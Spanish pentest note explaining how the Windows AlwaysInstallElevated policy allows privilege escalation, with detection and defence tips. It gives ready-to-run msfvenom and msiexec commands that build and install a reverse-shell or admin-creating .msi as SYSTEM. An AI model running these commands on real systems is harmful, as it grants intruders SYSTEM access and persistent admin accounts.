AlwaysInstallElevated abuse

AlwaysInstallElevated es una política de Windows que, si está activa, hace que el Windows Installer (msiexec) instale cualquier paquete .msi con privilegios de SYSTEM, sin importar quién lo lance. Está pensada para que usuarios sin privilegios instalen software aprobado, pero es una escalada trivial si se deja activada en un equipo multiusuario.

Para que sea explotable, la política debe estar a 1 en ambas ramas del registro. Se comprueba con dos consultas rápidas:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si ambas devuelven 0x1, es explotable (winPEAS y PowerUp lo marcan solos). Se genera un .msi malicioso; la carga habitual es una reverse shell, pero un .msi que da de alta un administrador local deja acceso persistente y no depende de un listener:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f msi > rev.msi
msfvenom -p windows/adduser USER=<user> PASS=<pass> -f msi > add.msi   # alta de admin local

Se sube al objetivo y se instala; el Windows Installer lo corre como SYSTEM:

msiexec /quiet /qn /i rev.msi          # instalar el MSI (corre como SYSTEM)
# PowerUp: generar un MSI de alta de usuario listo para instalar, y luego el msiexec de arriba
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Write-UserAddMSI"

El instalador corre el paquete como SYSTEM: la reverse cae privilegiada o el nuevo usuario entra en Administrators.

Matices. Si solo una de las dos claves está a 1, la política no se aplica: hacen falta las dos. En entornos reales suele venir de plantillas GPO mal configuradas.

Cómo detectarlo. Del lado ofensivo, las dos consultas de registro anteriores lo confirman en segundos; winPEAS y PowerUp (Get-RegistryAlwaysInstallElevated) lo marcan solos. Del lado defensivo, la señal es un msiexec instalando un .msi desde una ruta de usuario (C:\Users\...\Temp, %APPDATA%) y, sobre todo, un proceso hijo de msiexec.exe corriendo como NT AUTHORITY\SYSTEM: un instalador legítimo rara vez desciende de una sesión de usuario sin privilegios.

Defensa. No habilitar AlwaysInstallElevated; usar despliegue de software controlado (SCCM/Intune) y revisar las GPO. Relacionado con SeImpersonate + Potato y RunAs con credenciales.